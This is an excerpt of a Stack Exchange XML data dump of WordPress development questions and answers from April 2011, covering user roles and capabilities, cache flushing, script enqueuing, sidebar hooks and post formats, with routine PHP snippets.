&lt;code&gt;foobars&lt;/code&gt;, you would want to give 'shop owners' the &lt;code&gt;edit_foobars&lt;/code&gt;, &lt;code&gt;delete_foobars&lt;/code&gt;, and &lt;code&gt;read&lt;/code&gt; capabilities. That way they can create their own draft foobars, and delete those drafts, but because they don't have &lt;code&gt;publish_foobars&lt;/code&gt; capabilities, they have to submit them for approval. Because they don't have &lt;code&gt;edit_published_foobars&lt;/code&gt;, all modifications to an approved foobar have to be approved.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-04-12T14:49:40.517" CommentCount="3" />
  <row Id="14580" PostTypeId="2" ParentId="14576" CreationDate="2011-04-12T14:53:28.200" Score="4" ViewCount="" Body="&lt;p&gt;Hm, I am not sure but I think that whole cache should be invalidated on publishing of new post... Had you tried to enable debug info in W3TC and check why are those pages aren't refreshed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for manual cache clear, from plugin's FAQ:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;How can I flush the cache without&#xA;  using the WP Admin interface?&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It's possible to empty the entire&#xA;  cache or simply purge the cache of a&#xA;  single post / page: &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Purge the entire&#xA;  page cache:&#xA;  &lt;code&gt;if&#xA;  (function_exists('w3tc_pgcache_flush'))&#xA;  {  w3tc_pgcache_flush();  }&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Purge a&#xA;  single post / page by passing it's ID:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;if&#xA;  (function_exists('w3tc_pgcache_flush_post'))&#xA;  {  w3tc_pgcache_flush_post($post_id); &#xA;  }&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-12T14:53:28.200" CommentCount="7" />
  <row Id="14581" PostTypeId="2" ParentId="14553" CreationDate="2011-04-12T15:06:32.600" Score="2" ViewCount="" Body="&lt;p&gt;The register post type has a parameter called &quot;capabilities&quot; so you can have for instance &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'capability' =&amp;gt; __('organize_shop'),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/register_post_type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create a new user/role/capability you can use add_role, add_cap, for a simple example to get you started:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_role( 'shop_owner', 'Shop Owner', array( 'edit_posts' =&amp;gt; true, ) );&#xA;$wp_roles-&amp;gt;add_cap( 'Shop Owner', 'organize_shop' );&#xA;$role-&amp;gt;add_cap( 'organize_shop' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-04-12T15:06:32.600" />
  <row Id="14582" PostTypeId="2" ParentId="14186" CreationDate="2011-04-12T15:13:14.573" Score="2" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I prefer not to use GoDaddy because I&#xA;  always encounter performance issues.&#xA;  However, one of my clients is rather&#xA;  insistent on using them... so we are.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is exactly what I do in reverse , I insist that if they want to stay with godaddy they can find another developer/designer.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-04-12T15:13:14.573" CommentCount="1" />
  <row Id="14583" PostTypeId="2" ParentId="14558" CreationDate="2011-04-12T15:14:28.003" Score="1" ViewCount="" Body="&lt;p&gt;This Plugin is &lt;a href=&quot;http://plugins.svn.wordpress.org/custom-field-template/tags/1.8.3/custom-field-template.php&quot; rel=&quot;nofollow&quot;&gt;loading quite a lot of scripts&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_script( 'jquery' );&#xA;wp_enqueue_script( 'jquery-form' );&#xA;wp_enqueue_script( 'date', '/' . PLUGINDIR . '/' . $plugin_dir . '/js/date.js', array('jquery') );&#xA;wp_enqueue_script( 'bgiframe', '/' . PLUGINDIR . '/' . $plugin_dir . '/js/jquery.bgiframe.js', array('jquery') ) ;&#xA;wp_enqueue_script( 'datePicker', '/' . PLUGINDIR . '/' . $plugin_dir . '/js/jquery.datePicker.js', array('jquery') );&#xA;wp_enqueue_script( 'textarearesizer', '/' . PLUGINDIR . '/' . $plugin_dir . '/js/jquery.textarearesizer.js', array('jquery') );&#xA;if( strstr($_SERVER['REQUEST_URI'], 'wp-admin/post-new.php') || strstr($_SERVER['REQUEST_URI'], 'wp-admin/post.php') || strstr($_SERVER['REQUEST_URI'], 'wp-admin/page-new.php') || strstr($_SERVER['REQUEST_URI'], 'wp-admin/page.php') || $post-&amp;gt;post_type=='page' ) :&#xA;    wp_enqueue_script( 'editor' );&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's possible that there's a conflict.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you sure the issue began with WordPress 3.1.1, rather than with 3.1? The jQuery version in 3.1 was bumped up; I'm unaware of any script version changes in 3.1.1, but I could be wrong.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-12T15:14:28.003" CommentCount="2" />
  <row Id="14584" PostTypeId="1" AcceptedAnswerId="14592" CreationDate="2011-04-12T15:40:23.590" Score="0" ViewCount="243" Body="&lt;p&gt;I would like to be able to associate an image with a custom taxonomy term. Ideally, I'd like to provide the end-user with an interface for managing the image directly on the term itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have worked with a plugin that provides this functionality (Ultimate Taxonomy Manager) - it may be what I stick with. I'm after the best practice, though, and would like to know if any of you have worked through this before and what solutions you recommend. &lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2011-04-12T17:17:24.110" Title="Adding An Image To A Custom Taxonomy Term" Tags="&lt;custom-taxonomy&gt;" AnswerCount="2" />
  <row Id="14585" PostTypeId="1" CreationDate="2011-04-12T15:42:38.627" Score="1" ViewCount="126" Body="&lt;p&gt;The Goal: To replace the sidebar on all sites across my network with content loaded from a plugin, &lt;em&gt;across all themes.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need a way of over-riding the sidebar/main widget area on all sites across my network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have written a plugin which generates the sidebar with a function call, but &lt;strong&gt;how can I get this content to completely replace the sidebar?&lt;/strong&gt; At present I can only call a hook as &lt;code&gt;get_sidebar()&lt;/code&gt; happens, not replace that action.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('get_sidebar', 'my_get_sidebar', 11);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Additionally, this makes my sidebar appear on all sidebars on the page, I only want it to overwrite the main one (sidebar-one?) and have the others left blank.&lt;/p&gt;&#xA;" OwnerUserId="3669" LastEditorUserId="3669" LastEditorDisplayName="" LastEditDate="2011-04-13T15:17:07.190" LastActivityDate="2011-08-12T02:22:31.530" Title="Hooking in to replace the Sidebar/Widget areas" Tags="&lt;plugins&gt;&lt;themes&gt;&lt;widgets&gt;&lt;hooks&gt;" AnswerCount="2" />
  <row Id="14586" PostTypeId="1" CreationDate="2011-04-12T16:10:35.647" Score="0" ViewCount="272" Body="&lt;p&gt;Is it possible to use the plus sign instead of the dash as the word delimiter in the url? And if so, how exactly would that be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.: &lt;code&gt;www.example.com/some-title/&lt;/code&gt; becomes &lt;code&gt;www.example.com/some+title/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, ideally it would have to work with posts, pages and custom posts.&lt;/p&gt;&#xA;" OwnerUserId="3821" LastActivityDate="2011-08-14T00:23:36.397" Title="Use the plus sign &quot;+&quot; instead of dash &quot;-&quot; in URLs" Tags="&lt;url-rewriting&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="14587" PostTypeId="2" ParentId="14584" CreationDate="2011-04-12T16:22:10.630" Score="0" ViewCount="" Body="&lt;p&gt;I wrote &lt;a href=&quot;http://www.deluxeblogtips.com/p/taxonomy-meta-script-for-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;a class&lt;/a&gt; to add meta fields (including image field) to taxonomy. I think this is what you need.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-04-12T16:22:10.630" />
  <row Id="14588" PostTypeId="2" ParentId="14586" CreationDate="2011-04-12T16:47:25.213" Score="0" ViewCount="" Body="&lt;p&gt;Mark Jaquith uses &quot;+&quot; as the search query string delimiter in his Nice Search Plugin. H&lt;a href=&quot;http://plugins.svn.wordpress.org/nice-search/tags/0.3/nice-search.php&quot; rel=&quot;nofollow&quot;&gt;ere's what he does&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function cws_nice_search_redirect() {&#xA;    if ( is_search() &amp;amp;&amp;amp; strpos( $_SERVER['REQUEST_URI'], '/wp-admin/' ) === false &amp;amp;&amp;amp; strpos( $_SERVER['REQUEST_URI'], '/search/' ) === false ) {&#xA;        wp_redirect( home_url( '/search/' . str_replace( array( ' ', '%20' ),  array( '+', '+' ), get_query_var( 's' ) ) ) );&#xA;        exit();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Perhaps it may be of some use for reference?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-12T16:47:25.213" CommentCount="4" />
  <row Id="14589" PostTypeId="1" CreationDate="2011-04-12T16:56:53.020" Score="0" ViewCount="164" Body="&lt;p&gt;Gravity forms seems to give us a ton of options with their forms. &#xA;I'm like to populate one field with another field's data. As shown below in the image I'd like to use the &quot;name&quot; field to fill the &quot;Care of&quot;. I'm pretty sure this would be done with the &quot;populated dynamically option&quot; but I'm unsure how you would go about doing that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated, thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/gKPka.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-04-12T16:56:53.020" Title="Populating one field from another in Gravity Forms" Tags="&lt;plugin-gravity-forms&gt;" CommentCount="3" />
  <row Id="14590" PostTypeId="2" ParentId="14502" CreationDate="2011-04-12T17:05:59.823" Score="1" ViewCount="" Body="&lt;p&gt;This can be done in a single query, though i can't speak specifically about how well this query will perform(i've not spent a great deal with Union queries - never had a need, till now)..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, a function to select two sets of results, but using union to return them as a single result set.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_post_siblings( $limit = 3, $date = '' ) {&#xA;    global $wpdb, $post;&#xA;&#xA;    if( empty( $date ) )&#xA;        $date = $post-&amp;gt;post_date;&#xA;&#xA;    //$date = '2009-06-20 12:00:00'; // test data&#xA;&#xA;    $limit = absint( $limit );&#xA;    if( !$limit )&#xA;        return;&#xA;&#xA;    $p = $wpdb-&amp;gt;get_results( &quot;&#xA;    (&#xA;        SELECT &#xA;            p1.post_title, &#xA;            p1.post_date,&#xA;            p1.ID&#xA;        FROM &#xA;            $wpdb-&amp;gt;posts p1 &#xA;        WHERE &#xA;            p1.post_date &amp;lt; '$date' AND &#xA;            p1.post_type = 'post' AND &#xA;            p1.post_status = 'publish' &#xA;        ORDER by &#xA;            p1.post_date DESC&#xA;        LIMIT &#xA;            $limit&#xA;    )&#xA;    UNION &#xA;    (&#xA;        SELECT &#xA;            p2.post_title, &#xA;            p2.post_date,&#xA;            p2.ID &#xA;        FROM &#xA;            $wpdb-&amp;gt;posts p2 &#xA;        WHERE &#xA;            p2.post_date &amp;gt; '$date' AND &#xA;            p2.post_type = 'post' AND &#xA;            p2.post_status = 'publish' &#xA;        ORDER by&#xA;            p2.post_date ASC&#xA;        LIMIT &#xA;            $limit&#xA;    ) &#xA;    ORDER by post_date ASC&#xA;    &quot; );&#xA;    $i = 0;&#xA;    $adjacents = array();&#xA;    for( $c = count($p); $i &amp;lt; $c; $i++ )&#xA;        if( $i &amp;lt; $limit )&#xA;            $adjacents['prev'][] = $p[$i];&#xA;        else&#xA;            $adjacents['next'][] = $p[$i];&#xA;&#xA;    return $adjacents;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's a test date in there, you can safely ignore that or add in your own value for testing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some sample code you can use in your &lt;strong&gt;single.php&lt;/strong&gt; loop to list out the results, though note this is just a generic example, and the function might need to select more/different data, but based on the info you've provided i wasn't sure exactly what you wanted, so the following is for illustration and to give a sample you can use to test the results..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$siblings = get_post_siblings( 3 ); // This is the same as doing the call below(which is just for illustration)&#xA;//$siblings = get_post_siblings( 3, $post-&amp;gt;post_date );&#xA;&#xA;$prev = $siblings['prev'];&#xA;&#xA;foreach( $prev as $p )&#xA;    echo get_the_time( 'd m Y', $p ) . ': ' . apply_filters( 'the_title', $p-&amp;gt;post_title ) . '&amp;lt;br /&amp;gt;';&#xA;&#xA;$next = $siblings['next'];&#xA;&#xA;foreach( $next as $p )&#xA;    echo get_the_time( 'd m Y', $p ) . ': ' . apply_filters( 'the_title', $p-&amp;gt;post_title ) . '&amp;lt;br /&amp;gt;';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Awaiting feedback... :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-04-12T17:05:59.823" CommentCount="4" />
  <row Id="14591" PostTypeId="1" CreationDate="2011-04-12T17:09:51.520" Score="0" ViewCount="70" Body="&lt;p&gt;I would like to have a central place to keep my notes for projects. Does it make sense to use pages like a Wiki?&lt;/p&gt;&#xA;" OwnerUserId="2440" LastActivityDate="2011-04-12T20:16:38.277" Title="Can I use Pages like a Wiki" Tags="&lt;pages&gt;&lt;wiki&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="14592" PostTypeId="2" ParentId="14584" CreationDate="2011-04-12T17:17:24.110" Score="1" ViewCount="" Body="&lt;p&gt;Maybe &lt;a href=&quot;http://en.bainternet.info/2011/custom-taxonomies-extra-fields&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;How TO custom taxonomies extra fields&lt;/code&gt;&lt;/a&gt; is whats you are looking for?&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-12T17:17:24.110" CommentCount="1" />
  <row Id="14593" PostTypeId="2" ParentId="14186" CreationDate="2011-04-12T17:18:36.757" Score="1" ViewCount="" Body="&lt;p&gt;Avoid using godaddy, I had the same problem with them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are referring to &lt;a href=&quot;http://en.wikipedia.org/wiki/Time_To_First_Byte&quot; rel=&quot;nofollow&quot;&gt;TTFB&lt;/a&gt;, (Time to first Byte).&#xA;Regular TTFB range from 0.3 to 1.5 sec max. in a good server configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't matter if you use &lt;a href=&quot;http://en.wikipedia.org/wiki/Content_delivery_network&quot; rel=&quot;nofollow&quot;&gt;CDN&lt;/a&gt;, Minimize your java/css. &#xA;Although your website after the TTFB load fine,  If the server is not well configured/optimized it will take too much time to deliver the first byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The use of &lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot; rel=&quot;nofollow&quot;&gt;cache plugins&lt;/a&gt;, CDN and improved code will only affect how your website load after the TTFB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An excellent tool for test is &lt;a href=&quot;http://www.webpagetest.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.webpagetest.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My suggestion, Find another web host, preferable close to your client location if visitors are locals.&lt;/p&gt;&#xA;" OwnerUserId="3022" LastEditorUserId="3022" LastEditorDisplayName="" LastEditDate="2011-04-12T18:04:33.193" LastActivityDate="2011-04-12T18:04:33.193" />
  <row Id="14594" PostTypeId="1" CreationDate="2011-04-12T17:36:21.400" Score="2" ViewCount="156" Body="&lt;p&gt;I'd like to grab the current page name and pull that specific template part per page. This way I can just set up a generic tier-1 template that calls in a secondary section based on the current page's title (without having to use a bunch of conditional statements). So, it'd look like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_template_part( 'section', '$pagename' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Pulling in the file: &lt;strong&gt;section-pagename.php&lt;/strong&gt; (eg., &lt;strong&gt;section-about.php&lt;/strong&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? I wonder if anyone has used this approach. I think it'd be a really efficient way of templating.&lt;/p&gt;&#xA;" OwnerUserId="4619" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-12T17:41:26.653" LastActivityDate="2011-04-12T17:41:26.653" Title="Possible to use pagename inside get_template_part?" Tags="&lt;get-template-part&gt;&lt;templates&gt;" AnswerCount="1" />
  <row Id="14595" PostTypeId="2" ParentId="14594" CreationDate="2011-04-12T17:40:21.240" Score="3" ViewCount="" Body="&lt;p&gt;I see no reason for this to not work technically, only you don't need those single quotes around variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But practically why not just use &lt;code&gt;page-{slug}.php&lt;/code&gt; or other template option from &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy#Page_display&quot; rel=&quot;nofollow&quot;&gt;hierarchy&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-12T17:40:21.240" CommentCount="2" />
  <row Id="14596" PostTypeId="1" AcceptedAnswerId="14597" CreationDate="2011-04-12T18:13:44.360" Score="0" ViewCount="92" Body="&lt;p&gt;I'm creating my first wordpress plugin and I'm struggling to find the correct and best way to make sure jquery and my own JS file is included on my settings page of my plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not need them to load anywhere else unless on my settings page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What code and where do I put it in my plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I have so far as for creating the settings page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action(&quot;admin_menu&quot;, &quot;create_admin_pages&quot;);&#xA;&#xA;function create_admin_pages() {&#xA;    add_submenu_page('options-general.php', &quot;MYPLUGIN&quot;, &quot;MYPLUGIN&quot;, 10, &quot;my-plugin&quot;, 'settings_page');&#xA;}&#xA;functions settings_page() {&#xA;    // Settings form is here and I need Jquery and my script loaded for this&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT: The code above is somewhat been dumbed down so not to reveal the plugins function until its ready to be released. The Plugin I'm coding is wrapped in a class so its ok that the function names are generic.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-04-13T10:32:21.303" Title="Plugin - Make sure jquery is loaded in my settings page plus my JS file" Tags="&lt;plugin-development&gt;&lt;jquery&gt;&lt;javascript&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="14597" PostTypeId="2" ParentId="14596" CreationDate="2011-04-12T18:25:27.523" Score="4" ViewCount="" Body="&lt;p&gt;First use &lt;code&gt;add_options_page()&lt;/code&gt; - shorter wrapper, better practice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second you need to save its return in some (global or static) variable. That is often used thingie and confusingly referenced by different names in documentation. Global &lt;code&gt;$hook_suffix&lt;/code&gt; holds such value for current page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function create_admin_pages() {&#xA;&#xA;   global $my_page;&#xA;&#xA;   $my_page = add_options_page(...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From there it is something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_enqueue_scripts', 'enqueue_script');&#xA;&#xA;function enqueue_script($hook_suffix) {&#xA;&#xA;    global $my_page;&#xA;&#xA;    if ($my_page == $hook_suffix)&#xA;        wp_enqueue_script('my_script', plugins_url('my_script.js', __FILE__), array('jquery'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-12T18:25:27.523" />
  <row Id="14599" PostTypeId="1" AcceptedAnswerId="14600" CreationDate="2011-04-12T19:19:13.753" Score="0" ViewCount="54" Body="&lt;p&gt;I have a website that needs to display state-specific versions, for a few states. Obviously, I will need to parse the IP address to gain geographic information. Before I start making that plug-in, I figured I'd shoot a question out to the collective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To further explain my situation, the website has a different &quot;version&quot;, depending on if customers are coming to it from Texas, California, New York and Canada. The language will be English throughout, but the content for Texas is different (think: compliance) from California.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking of using a splash page (cringe) with a drop-down, should all else fail.&lt;/p&gt;&#xA;" OwnerUserId="730" LastActivityDate="2011-04-12T20:10:49.390" Title="What is the best practice to localize content? (Geographic not langauge)" Tags="&lt;content&gt;&lt;best-practices&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="14600" PostTypeId="2" ParentId="14599" CreationDate="2011-04-12T19:49:05.033" Score="1" ViewCount="" Body="&lt;p&gt;I guess &lt;a href=&quot;http://wordpress.stackexchange.com/questions/468/optimizing-a-proximity-based-store-location-search-on-a-shared-web-host&quot;&gt;this thread&lt;/a&gt; will steal you more than a day. After reading through it and all the code it contains, you'll be more than happy... or maybe just confused ;)&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-12T19:49:05.033" CommentCount="1" />
  <row Id="14601" PostTypeId="2" ParentId="14137" CreationDate="2011-04-12T20:05:30.030" Score="0" ViewCount="" Body="&lt;p&gt;The problem turned out to be that I added some custom javascript further down the page hat was somehow ruining the tinymce popup js. I wasn't able to figure out exactly what was causing the problem, I needed to comment it out and it works okay now.&lt;/p&gt;&#xA;" OwnerUserId="2044" LastActivityDate="2011-04-12T20:05:30.030" CommentCount="1" />
  <row Id="14602" PostTypeId="1" AcceptedAnswerId="14606" CreationDate="2011-04-12T20:07:41.717" Score="0" ViewCount="181" Body="&lt;p&gt;As stated in a previous Q, i'm currently getting into post formats and what to do with them. After searching for quite a time through search results and a lot of blog posts, i realized that there's only pretty less written about &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What to do with the different post format types?&lt;/strong&gt;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Post Formats i'm unclear about what they represent:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1) asides - &quot;twitter&quot; style messages&lt;/li&gt;&#xA;&lt;li&gt;2) status - &quot;facebook&quot; style messages  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Ad 1)&lt;/em&gt; When i look at facebook messages, then they contain nearly everything (links, images, status, chat, etc.), so currently it doesn't make much sense for me to see &quot;asides&quot; as facebook messages as every other post format would be a sub-post-format of &quot;asides&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Ad 2)&lt;/em&gt; When i take the fact away, that facebook styled messages could contain content of all other post format types, and see &quot;asides&quot; only as representation of the message part, where is the difference to &quot;status&quot;?&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Questions:&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Ad 1) &lt;strong&gt;What is the intended usecase of &quot;aside&quot;?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Ad 2) &lt;strong&gt;What is the difference between &quot;aside&quot; and &quot;status&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: I first thought the problem may be that english is not my mother tongue and translated it - with no result. I even translated my local wordpress install into my native language - with no result.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-12T20:24:12.177" Title="post formats - where's the difference: &quot;aside&quot; vs. &quot;status&quot;?" Tags="&lt;post-formats&gt;" AnswerCount="1" />
  <row Id="14603" PostTypeId="2" ParentId="14599" CreationDate="2011-04-12T20:10:49.390" Score="0" ViewCount="" Body="&lt;p&gt;A lot of people use &lt;a href=&quot;http://www.maxmind.com/app/region&quot; rel=&quot;nofollow&quot;&gt;http://www.maxmind.com/app/region&lt;/a&gt; . It is reasonably priced,  up to date and has a decent PHP api ( and other languages).&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-04-12T20:10:49.390" />
  <row Id="14604" PostTypeId="2" ParentId="14591" CreationDate="2011-04-12T20:16:38.277" Score="1" ViewCount="" Body="&lt;p&gt;Not really, why not use something like tiddlywiki.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-04-12T20:16:38.277" />
  <row Id="14605" PostTypeId="1" CreationDate="2011-04-12T20:17:37.187" Score="1" ViewCount="103" Body="&lt;p&gt;The following post formats got a specific type of content part that should get displayed:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Audio&lt;/li&gt;&#xA;&lt;li&gt;Video&lt;/li&gt;&#xA;&lt;li&gt;Link&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Questions:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A)&lt;/strong&gt; What is the exact content (element) that is meant to get displayed for video &amp;amp; audio?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;B)&lt;/strong&gt; How would you get the relevant part of the post content that represents the post format?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;C)&lt;/strong&gt; What would you do with the rest of the content?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;D)&lt;/strong&gt; How would you know which format a audio/video player needs as there's nothin built in?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note (ad C): How would a user know that she/he should only post eg. a &quot;link&quot; (post format) and not a link inside a text?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note (ad D): &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6901/replace-audio-video-enclosure&quot;&gt;As already asked by @bueltge&lt;/a&gt; there's no player.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-12T20:30:19.320" Title="post formats - how to get the relevant content part?" Tags="&lt;post-formats&gt;" AnswerCount="1" />
  <row Id="14606" PostTypeId="2" ParentId="14602" CreationDate="2011-04-12T20:24:12.177" Score="2" ViewCount="" Body="&lt;p&gt;I think you have this a bit backward:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1) asides - &quot;twitter&quot; style messages&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;2) status - &quot;facebook&quot; style messages&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Think of &lt;em&gt;status&lt;/em&gt; as a Tweet or Facebook status update: a text-only or text-and-link-only post of around 150 characters or less (140 seems to be a good number, thanks to Twitter).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think of an &lt;em&gt;aside&lt;/em&gt; as a brief post, of one or two paragraphs, usually without a Title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with the term &lt;em&gt;aside&lt;/em&gt; is that its use (and nomenclature) is not dictated in any way whatsoever by the historical use of the term &quot;aside&quot; in literature, drama, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, the use of the term comes from Matt Mullenweg's personal site. Matt started writing brief, un-titled Posts, which he categorized as &quot;asides&quot;. One version of his personal site's Theme (Mazeld, perhaps?) started creating a custom loop for the &quot;asides&quot; and &quot;gallery&quot; categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These custom loops became the origination for the concept of Post Formats, and unfortunately, the term &quot;aside&quot; was retained as one of the Post Format types.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-12T20:24:12.177" />
